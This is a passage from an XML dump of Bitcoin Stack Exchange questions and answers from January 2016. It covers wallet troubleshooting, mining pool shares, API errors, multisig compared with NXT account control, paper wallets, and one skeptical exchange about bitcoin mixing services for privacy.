  <row Id="42220" PostTypeId="2" ParentId="41318" CreationDate="2016-01-07T18:13:06.713" Score="1" Body="&lt;p&gt;I've just fixed the same problem by deleting a circular symlink:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lrwxr-xr-x    1 2can  staff       17 Mar  7  2015 bootstrap.dat.old -&amp;gt; bootstrap.dat.old&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in my &lt;code&gt;data&lt;/code&gt; folder. The &lt;code&gt;db.log&lt;/code&gt; file contained only one repeating error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Too many levels of symbolic links&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31753" LastActivityDate="2016-01-07T18:13:06.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42221" PostTypeId="1" CreationDate="2016-01-07T21:00:52.980" Score="0" ViewCount="190" Body="&lt;p&gt;I purchased some bitcoins from Coinbase and I want to give them away to friends for their birthday this year, but what I'm afraid of is if they end up buying stuff on the dark web with it. Last thing I want to deal with is having to explain to the police it wasn't me. I know there a bunch of mixing services to help protect people from being tracked or traced back to the original account, but which one is has the cheapest fee? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know the fee pays for the person running the mixing service, but is there such a thing as a decentralized bitcoin mixing service that doesn't take a fee? &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2016-01-10T15:58:39.577" Title="What is the cheapest fee based bitcoin / altcoin mixing service to keep myself anonymous and from being tracked?" Tags="|privacy|traceability|mixing|coinjoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42223" PostTypeId="2" ParentId="42045" CreationDate="2016-01-08T02:13:10.217" Score="-2" Body="&lt;p&gt;I would start with a data recovery service. As far as I know the password will only unlock the backup file, it's like having the key to a lockbox but not the lockbox!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A data recovery service might be able to retrieve the backup file (maybe!)&lt;/p&gt;&#xA;" OwnerUserId="29298" LastActivityDate="2016-01-08T02:13:10.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42228" PostTypeId="1" CreationDate="2016-01-08T06:53:32.727" Score="1" ViewCount="99" Body="&lt;p&gt;I have a fundamental doubt wrt boost signaling used in bitcoin. As far as I understand the following happens between &lt;code&gt;main.cpp&lt;/code&gt; and &lt;code&gt;init.cpp&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;StartNode()&lt;/code&gt; spawns a thread &lt;code&gt;ThreadMessageHandler&lt;/code&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ThreadMessageHandler&lt;/code&gt; issues a boost signal &lt;code&gt;SendMessages&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;SendMessages()&lt;/code&gt; does the sending of messages (like &lt;code&gt;PING&lt;/code&gt; or &lt;code&gt;INV&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is my understanding correct? Why do we invoke a boost signal and complicate ? Why not a simple function call to &lt;code&gt;SendMessages()&lt;/code&gt; in &lt;code&gt;main.cpp&lt;/code&gt; would not do the equivalent?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any expert please explain the flow of code here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code Snippet1 (Original Bitcoin)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (lockSend)&#xA;     g_signals.SendMessages(pnode);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Code Snippet2 (My Attempt):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (lockSend)&#xA;     SendMessages(pnode);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30181" LastEditorUserId="30181" LastEditDate="2016-01-08T08:52:55.453" LastActivityDate="2016-01-08T08:52:55.453" Title="What is the correct code flow while sending a message" Tags="|bitcoind|bitcoin-core|client|protocol|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42229" PostTypeId="2" ParentId="42210" CreationDate="2016-01-08T08:35:44.677" Score="1" Body="&lt;p&gt;They wouldn’t. You just have to do the maths, which you have done. The tricky part is trying to figure out how fast you can recoup your investment before you make profit. Generally, it’s not a linear relationship. &lt;/p&gt;&#xA;" OwnerUserId="31581" LastEditorUserId="5406" LastEditDate="2016-01-10T09:55:28.810" LastActivityDate="2016-01-10T09:55:28.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42230" PostTypeId="1" CreationDate="2016-01-08T10:55:04.653" Score="1" ViewCount="652" Body="&lt;p&gt;I have several wallets on blockchain.info&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that when I log in to my wallet the id of one of the wallets appears automatically and I can't type the data in of the other wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I operate several wallets from the same browser (not simultaneously though)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help?&lt;/p&gt;&#xA;" OwnerUserId="31775" LastActivityDate="2017-02-18T09:49:02.350" Title="Multiple wallets on one browser" Tags="|blockchain|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42231" PostTypeId="1" CreationDate="2016-01-08T11:57:31.813" Score="2" ViewCount="351" Body="&lt;p&gt;&lt;a href=&quot;http://bitcoinnewschannel.com/2015/12/27/page-2-of-the-hash-tube-signature-scheme-credited-to-satoshi-nakamoto/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinnewschannel.com/2015/12/27/page-2-of-the-hash-tube-signature-scheme-credited-to-satoshi-nakamoto/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The guys working at this site claimed that Satoshi Nakamoto sent them a paper titled (hash tube signatures) which you can read via the link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is those guys that work on that site have been around the bitcoin community since 2009-2010 and some thought they invented bitcoin, so did they make this up? or is it really Satoshi?&lt;/p&gt;&#xA;" OwnerUserId="31778" LastActivityDate="2016-01-08T11:57:31.813" Title="Did Satoshi Nakamoto Really Publish A Second Paper In December, 2015?" Tags="|satoshi-nakamoto|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42233" PostTypeId="1" CreationDate="2016-01-08T18:34:50.900" Score="1" ViewCount="409" Body="&lt;p&gt;Mastercoin initially did fundraising through 1EXoDusjGwvnjZUyKkxZ4UHEf77z6A5S4P. It now seems to be used in every Mastercoin transaction (it has been used in thousands of transactions). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is the address still being used in every mastercoin transaction? Is this built into the protocol somehow? I suppose it could be a spam prevention mechanism, but I would think the bitcoin transaction fee already prevents spam.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2018-12-22T06:00:36.147" Title="Why is the Mastercoin Exodus address used in every mastercoin transaction?" Tags="|colored-coins|omni|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42234" PostTypeId="1" AcceptedAnswerId="42274" CreationDate="2016-01-08T18:59:45.910" Score="0" ViewCount="69" Body="&lt;p&gt;The mastercoin specification (&lt;a href=&quot;https://github.com/OmniLayer/spec&quot; rel=&quot;nofollow&quot;&gt;https://github.com/OmniLayer/spec&lt;/a&gt;) details an obfuscation process, but doesn't provide the motivation for implementing this obfuscation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does mastercoin use this type of obfuscation, and what data does it inhibit onlookers from determining?&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2016-07-27T21:04:07.907" Title="Are mastercoin transfers transparent on the blockchain?" Tags="|colored-coins|omni|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42235" PostTypeId="1" CreationDate="2016-01-08T19:20:20.433" Score="1" ViewCount="424" Body="&lt;p&gt;Just signed up and need help.kinda new to bit mining and am using slushes pool with guiminer and cannot get any accepted shares from my Radeon HD 6870  ,it has Hash rate of 200mh/s and 0 shares after it has ran for a day. I am also mining with my cpu and it is getting around 5mh/s and has gotten over 73 shares,Any help figuring this out would be highly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;specs: &#xA;Amd driver Catalyst Version 15.7.1&#xA;Windows 7 64 bit&#xA;Cpu Amd Phenom x6 1045T&lt;/p&gt;&#xA;" OwnerUserId="31790" LastActivityDate="2017-10-10T03:38:27.697" Title="Not Getting shares but have decent Hashrate" Tags="|bitcoind|mining-pool-shares|" AnswerCount="1" CommentCount="0" ClosedDate="2016-01-09T00:02:58.043" ContentLicense="CC BY-SA 3.0" />
  <row Id="42237" PostTypeId="2" ParentId="42235" CreationDate="2016-01-08T22:30:31.790" Score="0" Body="&lt;p&gt;What are you mining? If I'm still right old days 200mh/s was enough and 5ms/s also, but today should be already dead not? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is still possible that pool didn't had luck in solving problem and you got no reward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just realised you wrote Slush's pool, which means you mine BTC, which means &#xA;pool has now 36.21Ph/s which is  36,210,000,000,000,000 hashes/sec &#xA;You have 205,000,000 hashes/sec  that means &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(36,210,000,000,000,000/100=3,621×10¹⁴=1% -&gt;205000000÷3,621×10¹⁴= 0,000000566%)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You got 0,000000566% of pool mine, if they will mine 100BTC, it will be 0,0000566BTC for you per day... It is still not enough per day to make transaction... Wait a month and let us know here...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With having pool not luck seems not possible since they have written:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Luck 1,7,30days : 128%, 121%, 89%&lt;/p&gt;&#xA;" OwnerUserId="31611" LastEditorDisplayName="user20707" LastEditDate="2017-10-10T03:38:27.697" LastActivityDate="2017-10-10T03:38:27.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42238" PostTypeId="2" ParentId="42230" CreationDate="2016-01-08T22:45:21.530" Score="2" Body="&lt;p&gt;Im using Chrome but on other browsers it should be same...&#xA;Browser holds in memory some data about your last login - session, so you have to open several incognito windows(CTRL+SHIFT+N chrome) or open several browser programs, by which I mean, one chrome, one IE, one mozzila. Becose every program has its own cache... But really easiest way is to open chrome and ten incognito windows with ctrl+shift+n...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so&#xA;for every wallet go to main page of CHROME browser CTRL+SHIFT+NEW will open incognito and type there blockchain.info&lt;/p&gt;&#xA;" OwnerUserId="31611" LastActivityDate="2016-01-08T22:45:21.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42239" PostTypeId="1" AcceptedAnswerId="42470" CreationDate="2016-01-08T23:10:48.473" Score="1" ViewCount="975" Body="&lt;p&gt;I am trying to send bitcoin implementing blockcypher API, but having difficulty in using the following code snippet...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i. &lt;a href=&quot;http://blockcypher.github.io/php-client/sample/doc/transaction-api/CreateTransaction.html&quot; rel=&quot;nofollow&quot;&gt;http://blockcypher.github.io/php-client/sample/doc/transaction-api/CreateTransaction.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ii. &lt;a href=&quot;http://blockcypher.github.io/php-client/sample/doc/transaction-api/CreateAndSignAndSendTransaction.html&quot; rel=&quot;nofollow&quot;&gt;http://blockcypher.github.io/php-client/sample/doc/transaction-api/CreateAndSignAndSendTransaction.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transaction is being created perfectly, but following error is being thrown while trying to send it...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Fatal error&lt;/strong&gt;: Uncaught exception 'BlockCypher\Exception\BlockCypherSignatureException' with message '1 private keys do not correspond to any input. Please check private keys provided.' in /www/myserver.com/blockcypher1/php-client/blockcypher/php-client/lib/BlockCypher/Api/TXSkeleton.php:148 Stack trace: #0 /www/myserver.com/blockcypher1/php-client/blockcypher/php-client/lib/BlockCypher/Api/TXSkeleton.php(96): BlockCypher\Api\TXSkeleton-&gt;generateSignatures(Object(BlockCypher\Crypto\PrivateKeyList), 'btc') #1 /www/myserver.com/blockcypher1/php-client/blockcypher/php-client/lib/BlockCypher/Client/TXClient.php(35): BlockCypher\Api\TXSkeleton-&gt;sign(Array, 'btc') #2 /www/myserver.com/blockcypher1/send.php(19): BlockCypher\Client\TXClient-&gt;sign(Object(BlockCypher\Api\TXSkeleton), Array) #3 {main} thrown in &lt;strong&gt;/www/myserver.com/blockcypher1/php-client/blockcypher/php-client/lib/BlockCypher/Api/TXSkeleton.php&lt;/strong&gt; on &lt;strong&gt;line 148&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, I have provided unencrypted Hex private key of my input address. Also tried with WIF. None is working! How do I solve this ?&lt;/p&gt;&#xA;" OwnerUserId="11722" LastEditorUserId="11722" LastEditDate="2016-01-10T17:05:40.450" LastActivityDate="2016-03-27T21:10:25.073" Title="Why blockcypher send transaction is throwing fatal error?" Tags="|transactions|sending|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42240" PostTypeId="1" CreationDate="2016-01-09T01:21:13.637" Score="0" ViewCount="136" Body="&lt;p&gt;I have Bitcoin core wallet synced, my original wallet was bitcoin QT version 0.7. My Bitcoin QT wallet never synced and i tried receiving my bitcoins. Now that bitcoin core has synchronized how do I transfer my transaction to bitcoin core?  &lt;/p&gt;&#xA;" OwnerUserId="29370" LastActivityDate="2016-07-08T10:39:55.803" Title="QT to Core wallet" Tags="|transactions|wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42241" PostTypeId="1" AcceptedAnswerId="42244" CreationDate="2016-01-09T07:26:57.837" Score="0" ViewCount="241" Body="&lt;p&gt;Bitcoin's multi signature feature requires X number of people to sign a traction to secure your Bitcoins before it can be sent. Comparing this feature how is NXT's account control feature different? And has any other altcoin implemented alternative ways of securing coins like multi-sig and account control? &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2016-01-09T14:27:59.787" Title="How is Bitcoin's Multi Signature different from NXT's account control feature for security?" Tags="|multi-signature|nxt|account-control|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42242" PostTypeId="2" ParentId="42197" CreationDate="2016-01-09T07:43:20.897" Score="1" Body="&lt;p&gt;&lt;code&gt;getreceivedbyaddress&lt;/code&gt; is only able to show the balance for the addresses in the account: it stores only UTXO for these. The addresses generated with Pybitcointools are not stored in the account (contrary to addresses generated with &lt;code&gt;getnewaddress&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the balance of any address, a block explorer is needed, which scan ALL UTXOs of the blockchain (like blockexporer.com or blockchain.info). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And for Regtest, it's more complicated since a local server is needed like &lt;a href=&quot;https://github.com/bitcoin-abe/bitcoin-abe&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin-abe/bitcoin-abe&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Conclusion: I&quot;ve finally switched to Testnet mode, for convenience.&lt;/p&gt;&#xA;" OwnerUserId="31628" LastActivityDate="2016-01-09T07:43:20.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42244" PostTypeId="2" ParentId="42241" CreationDate="2016-01-09T14:27:59.787" Score="2" Body="&lt;p&gt;NXT's account control is based on the phasing feature. It is very different than Bitcoin multisig. &#xA;When submitting an NXT phased transaction the user, in addition to the transaction information, attaches a voting model and a block height stating that in order for this transaction to be executed another approval transaction(s) matching the voting model needs to be submitted before the block height is reached. Phased transactions are always included in the blockchain but are only executed if the voting model is matched. You can read more about it in the change log &lt;a href=&quot;https://bitbucket.org/JeanLucPicard/nxt/downloads/changelog-full.txt&quot; rel=&quot;nofollow&quot;&gt;https://bitbucket.org/JeanLucPicard/nxt/downloads/changelog-full.txt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Account Control enforces that all transactions from a certain account has to be phased given a specified voting model and a number of blocks specified by the account control transaction.&#xA;In a simplistic form, account control can be used somewhat like Bitcoin multisig, the account control transaction specifies a list of accounts which need to vote for each transaction submitted by the account under control. However voting models are much more flexible and allow many other voting options.&lt;/p&gt;&#xA;" OwnerUserId="18874" LastActivityDate="2016-01-09T14:27:59.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42245" PostTypeId="1" AcceptedAnswerId="42265" CreationDate="2016-01-09T16:36:13.493" Score="1" ViewCount="491" Body="&lt;p&gt;I have my &lt;code&gt;ECKey key&lt;/code&gt;. In order to create an &lt;code&gt;ECDSASignature&lt;/code&gt; object with BitcoinJ, we have to call &lt;code&gt;ECDSASignature mySignature = key.sign(Sha256Hash input)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the &lt;code&gt;Sha256Hash input&lt;/code&gt; my message? Or is it the result of &lt;code&gt;Sha256(byte[] myArray)&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if I don't have a message to sign? Is it acceptable to sign the &lt;code&gt;key.getPrivKeyBytes()&lt;/code&gt; in order to create an &lt;code&gt;ECDSASignature&lt;/code&gt;, or it is unacceptable because it reveals information including in &lt;code&gt;getPrivKeyBytes()&lt;/code&gt; and as a result reveal my private key?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if it is unacceptable what must be my message? Can I can sign whatever I want in order to create my &lt;code&gt;ECDSASignature&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="31202" LastEditorUserId="23340" LastEditDate="2016-01-12T16:05:00.593" LastActivityDate="2016-01-12T16:05:00.593" Title="ECKey.ECDSASignature creation" Tags="|private-key|bitcoinj|ecdsa|java|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="42246" PostTypeId="1" CreationDate="2016-01-09T20:06:21.127" Score="3" ViewCount="580" Body="&lt;p&gt;A few weeks back, a client wanted to pay me in bitcoin so I created an account at blockchain.info.  The transaction went through and the coins show in my account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I tried to use it however, I got an error message saying &quot;Private key does not match bitcoin address.&quot;  I tried working with the blockchain.info support but they kept stealth closing the ticket on me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point, I tried exporting the private keys from blockchain and importing to another site  (coinkite).  The coinkite import private key routine resolved the private key of blockchain.info to different public addresses.  I'm out of options so I figured I'd pose this problem to the forum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help.&lt;/p&gt;&#xA;" OwnerUserId="31829" LastActivityDate="2016-01-09T20:06:21.127" Title="Blockchain.info may have created a bad private key" Tags="|wallet|blockchain.info|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42249" PostTypeId="1" CreationDate="2016-01-10T00:46:00.870" Score="0" ViewCount="26" Body="&lt;p&gt;I installed Bitcoin Core and a friend sent me 0.2 bitcoins using an address generated in Bitcoin Core.&#xA;However, Bitcoin Core fails to retrieve the Block Chain and keeps trying to reload; which takes days.&#xA;So I have never received the bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the receiving address.&lt;br&gt;&#xA;Can I use that in a different (hopefully more reliable ) wallet? e.g. Electrum.&lt;/p&gt;&#xA;" OwnerUserId="31835" LastActivityDate="2016-01-10T10:42:36.593" Title="Can I import a Receiving Address" Tags="|bitcoin-core|receiving|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2016-01-10T10:38:29.830" ContentLicense="CC BY-SA 3.0" />
  <row Id="42251" PostTypeId="2" ParentId="41287" CreationDate="2016-01-10T04:01:22.733" Score="0" Body="&lt;p&gt;Do you used btc-e-codes? It's like real cash, but only in exchange. On BTC-e avalibale codes for RUR-rubles, EUR-euros and USD-US dollars. &lt;/p&gt;&#xA;" OwnerUserId="31839" LastActivityDate="2016-01-10T04:01:22.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42252" PostTypeId="2" ParentId="6056" CreationDate="2016-01-10T05:39:04.347" Score="3" Body="&lt;p&gt;Open the console on Bitcoin Core. Type &lt;code&gt;dumpprivkey&lt;/code&gt; and the public address. It will give you the private key. Then import the private key to whatever thin client you want.&lt;/p&gt;&#xA;" OwnerUserId="31841" LastEditorUserId="5406" LastEditDate="2016-01-10T11:41:17.650" LastActivityDate="2016-01-10T11:41:17.650" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42253" PostTypeId="2" ParentId="42240" CreationDate="2016-01-10T06:49:09.380" Score="1" Body="&lt;p&gt;Normally both bitcoind and bitcoin-qt use the same wallet and blockchain data. So you should just be able to shut down one and start the other.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2016-01-10T06:49:09.380" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42254" PostTypeId="2" ParentId="42210" CreationDate="2016-01-10T07:00:21.717" Score="-1" Body="&lt;p&gt;The exchange rate makes the equation volatile and unknown as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're bullish, like many are, mining now will be as valuable as it was for the first few people who were mining with their CPUs in the beginning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: If the exchange rate rices, then your revenue per month in USD increases as well. &lt;/p&gt;&#xA;" OwnerUserId="29241" LastEditorUserId="29241" LastEditDate="2016-01-11T01:17:52.847" LastActivityDate="2016-01-11T01:17:52.847" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42255" PostTypeId="2" ParentId="13648" CreationDate="2016-01-10T07:02:44.980" Score="0" Body="&lt;p&gt;If you believe in the long term value of bitcoin as a currency, I would advise purchasing in dollars... unless there is some difficulty with the seller? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, I just purchased mine on Amazon. With your specific situation though, I would find others that have purchased from this seller and get their opinion.&lt;/p&gt;&#xA;" OwnerUserId="29241" LastActivityDate="2016-01-10T07:02:44.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42257" PostTypeId="2" ParentId="42200" CreationDate="2016-01-10T11:12:42.970" Score="5" Body="&lt;p&gt;You are correct. However, in all open source wallets that follow the proper Bitcoin Improvement Proposals (BIPs) people will be able to replicate the encryption logic so you can use your passphrase to get access to your private keys again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still, I would recommend, for the majority of your bitcoins, to store them to a paper wallet with the private key encrypted (encrypted private keys starts with 6P...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use something like &lt;a href=&quot;https://www.bitaddress.org&quot; rel=&quot;noreferrer&quot;&gt;https://www.bitaddress.org&lt;/a&gt; to generate bitcoin addresses and optionally encrypt them with a passphrase. Then hide those paper wallets... even if they get stolen people will not be able to access your bitcoins without the passphrase. However, you can decrypt the private key with any BIP38 compatible wallet/software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For extra security, you could download (Save as...) the website page (www.bitaddress.org) locally. Then disconnect from the internet and load the page locally in your browser to create your new encrypted paper wallet offline.&lt;/p&gt;&#xA;" OwnerUserId="31844" LastActivityDate="2016-01-10T11:12:42.970" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42258" PostTypeId="2" ParentId="17239" CreationDate="2016-01-10T11:32:20.597" Score="1" Body="&lt;p&gt;I've tried different methods and if you want to get the most money of your BTCs/crypto, you have to look at the market all the time =) Today it's much better to sell at one exchange, tomorrow - at another; after tomorrow it may make senese to sell at some P2P marketplace&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's why it's good to check price comparison at &lt;a href=&quot;https://exchangerates.pro/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://exchangerates.pro/&lt;/a&gt; just remember that if you are going to check P2P offers, be careful! There are some sellers from marketplaces like LocalBitcoin paying from stolen Paypal accounts etc - if the offer is too good to be true there usually is a trick...&lt;/p&gt;&#xA;" OwnerUserId="20992" LastEditorUserId="20992" LastEditDate="2019-06-21T11:00:44.057" LastActivityDate="2019-06-21T11:00:44.057" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="42259" PostTypeId="2" ParentId="42191" CreationDate="2016-01-10T11:38:17.653" Score="0" Body="&lt;p&gt;If you want to send the funds from one your wallet to another, i.e. to switch wallet provider - you should check if there is &quot;import&quot; option in Electrum and &quot;export&quot; in Armory. I've just did the same when were migrating from Core to Blockchain&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I've also asked a friend to send me 0 fee transaction few days ago and it arrived in few hours; although seems that it can also take a couple of days and there is no way to be sure...&lt;/p&gt;&#xA;" OwnerUserId="20992" LastActivityDate="2016-01-10T11:38:17.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42260" PostTypeId="2" ParentId="9034" CreationDate="2016-01-10T12:27:46.990" Score="1" Body="&lt;p&gt;You can instead directly install from the source code. It is available on the &lt;a href=&quot;https://bitcoin.org/en/download&quot; rel=&quot;nofollow&quot;&gt;project site&lt;/a&gt; along with release signatures.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2016-01-10T12:27:46.990" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42261" PostTypeId="1" CreationDate="2016-01-10T13:50:22.047" Score="0" ViewCount="265" Body="&lt;p&gt;I am running bitcoin testnet daemon for development, but lately I have trouble with starting the daemon. Blockchain is downloaded and it seems that everything runs fine till &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;init message: Verifying blocks... &lt;p&gt;Verifying last 288 blocks at level 3&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;then it seems stuck or takes hours before doing anything. Interesting is that restarting the daemon helped me couple times and daemon started in several minutes as usual. In this time i cant obviously use RPC commands. &#xA;I dont have trouble starting mainnet daemon. Anybody has any idea what might cause and how to fix this overly long verification?&lt;/p&gt;&#xA;" OwnerUserId="31849" LastActivityDate="2021-08-22T22:04:10.360" Title="bitcoin testnet daemon stuck" Tags="|testnet|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42262" PostTypeId="1" CreationDate="2016-01-10T13:53:22.397" Score="0" ViewCount="163" Body="&lt;p&gt;1) Currently I have Bitcoin Core QT for MS windows 64bit - 32bit version 0.11.2 (yellow one with the most porpularity). Is there any scheduled update of QT to higher version in a near future?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) I heard from someone that if the Bitcoin Core wallet (same as the above. MS windows 64 bit- 32 bit in yellow color) for each of owner is NOT the same (i.e one has 0.11.0 ver and other has 0.11.2) and receiver's wallet is not synchronized with BTC P2P network, sending BTC from one wallet to other is not feasible and lost permanently. Is this true?&lt;/p&gt;&#xA;" OwnerUserId="31850" LastEditorUserId="5292" LastEditDate="2016-01-10T16:04:57.147" LastActivityDate="2016-03-10T18:11:50.620" Title="Bitcoin Core wallet update schedule and transaction" Tags="|bitcoind|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42263" PostTypeId="2" ParentId="42221" CreationDate="2016-01-10T15:58:39.577" Score="2" Body="&lt;p&gt;Even if you use a mixing service it is not guaranteed that the link between the two+ addresses will disappear. Actually, as far as I know it cannot be guaranteed by any mixing service, decentralized or not, including extra fees or not...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In theory, a good mixing scenario would use a purely decentralized service with a consistently huge amount of transactions, which will randomize the mixing better. None of the services I have checked a couple of months ago had both of the above requirements. Personally I believe that doing a non-perfect mixing is worse than doing any mixing since they will know that you tried to &quot;hide&quot; the relationship between the addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking around again I found &lt;a href=&quot;https://darknetmarkets.org/a-simple-guide-to-safely-and-effectively-mixing-bitcoins/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; which has some good advice: in summary, to use mixing services behind the Tor network and send the bitcoins to wallet addresses also created from the Tor network. You can then check if there are any relationships remaining between your original addresses and the new addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, I know a lot of people that would be happy to pay a fee for a proper mixing service.&lt;/p&gt;&#xA;" OwnerUserId="31844" LastActivityDate="2016-01-10T15:58:39.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42264" PostTypeId="2" ParentId="42262" CreationDate="2016-01-10T16:01:08.050" Score="1" Body="&lt;p&gt;Different versions of the Bitcoin-qt wallets can most certainly send and receive bitcoins from each other. They are compatible. And it looks like it will stay compatible for the foreseeable future as no hard forks are planned near term.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just make sure you use the &quot;official&quot; client from bitcoin.org and check signatures to make sure you get the correct one. Also try things with small amounts of money to make yourself comfortable with how it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the other wallets mentioned at bitcoin.org are also compatible regarding sending and receiving bitcoins by the way, but I'm assuming you're interested in running a full node i.e. bitcoin-qt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this site is not affiliated with bitcoin.org or the core developers (although some of them post here sometimes). I'll clean up your question to better fit the purpose of this website. One way to contact core developers is through the #bitcoin IRC 